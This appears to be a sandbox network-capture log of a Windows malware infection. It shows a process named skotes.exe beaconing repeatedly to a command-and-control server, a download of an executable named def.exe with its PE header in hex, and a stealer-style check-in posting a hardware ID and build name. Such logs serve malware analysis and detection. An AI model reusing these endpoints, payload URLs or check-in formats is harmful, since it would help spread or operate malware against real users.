Nov 24, 2024 14:28:56.124087095 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:55 GMT Content-Type: application/octet-stream Content-Length: 2814976 Last-Modified: Sun, 24 Nov 2024 12:33:16 GMT Connection: keep-alive ETag: "67431d0c-2af400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 45 cc 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +E+`Ui` @ @.rsrc`2@.idata 8@tcknjbhw*:@pazbjnlm @+@.taggant@`+"*@
Nov 24, 2024 14:28:56.124099016 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:28:56.124145031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:28:56.124248981 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:28:56.124259949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:28:56.124273062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:28:56.124284983 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:28:56.124394894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:28:56.124404907 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:28:56.124417067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:28:56.248063087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 5a c0 a2 d7 3d 3d 7f 92 67 3c 6f 5f 56 12 53 6a 66 23 fb 62 6d 23 49 a8 68 38 43 5b f5 32 4d 5c 46 11 41 83 44 44 3f 99 6a 3d ac 5b 68 3a 2e 9a 5d 4e 0c fa 40 ff 4b 66 Data Ascii: @Z==g<o_VSjf#bm#Ih8C[2M\FADD?j=[h:.]N@Kf_!wMa4h^M3TzrpwnQ^n`iHsadfoeS^L.ep9Nr^V?S(n7wznYW^^taUVFe`279?k7=V_}V_scR\R$zh'85oTXsAfkCh6F2j6L}\yx

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	50286	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:56.867276907 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 14:28:58.195746899 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 14:28:58.198156118 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="hwid"2682E79B2F583419705248------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="build"mars------HIDHIEGIIIECAKEBFBAA--
Nov 24, 2024 14:28:58.664714098 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50299	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:28:57.617470980 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:28:59.005748034 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:28:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50316	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:00.752616882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:29:02.156299114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50320	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:03.791732073 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:29:05.172991037 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	50322	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:06.177360058 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 24, 2024 14:29:07.508318901 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:07 GMT Content-Type: application/octet-stream Content-Length: 2814976 Last-Modified: Sun, 24 Nov 2024 12:33:16 GMT Connection: keep-alive ETag: "67431d0c-2af400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 45 cc 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +E+`Ui` @ @.rsrc`2@.idata 8@tcknjbhw*:@pazbjnlm @+@.taggant@`+"*@
Nov 24, 2024 14:29:07.508337975 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:29:07.509443045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:29:07.509500980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:29:07.509515047 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:29:07.509773970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:29:07.509848118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:29:07.509860992 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:29:07.510222912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:29:07.510416985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:29:07.630101919 CET	1236	IN	Data Raw: 59 be a6 4c 5d 80 65 9f 80 20 83 46 a0 8f 3b 23 37 f0 61 37 3c 5b 9f 48 b7 95 fe 33 b1 25 f2 fd 9d 6a 58 3a bc 8a 3f 1e 75 84 26 28 85 97 3f 2d 3c 70 6c 36 52 03 6b 81 8a 60 0a bb 48 7e ec 82 3a 71 53 6a 7f 60 07 1b e8 8d 95 ba 48 7e ec 10 39 75 Data Ascii: YL]e F;#7a7<[H3%jX:?u&(?-<pl6Rk`H~:qSj`H~9uSs`i=Y25p\:y~`2fr:l:bZkdy{]WiV9M58b-\kQtq{r6ly8Vfj2mTl;l.<wpGDp_{dL`YN_m&3vZ7hLz)rbh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50323	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:06.909270048 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:29:08.475267887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50329	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:10.114501953 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:29:11.607294083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50333	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:13.345118046 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:29:14.731391907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50339	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:16.373285055 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:29:17.768940926 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50344	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:19.524004936 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:29:20.856861115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50347	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:22.505419970 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:29:23.894073963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50351	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:25.637161970 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:29:27.024199963 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	50363	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:28.646136999 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 14:29:30.046667099 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:29:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
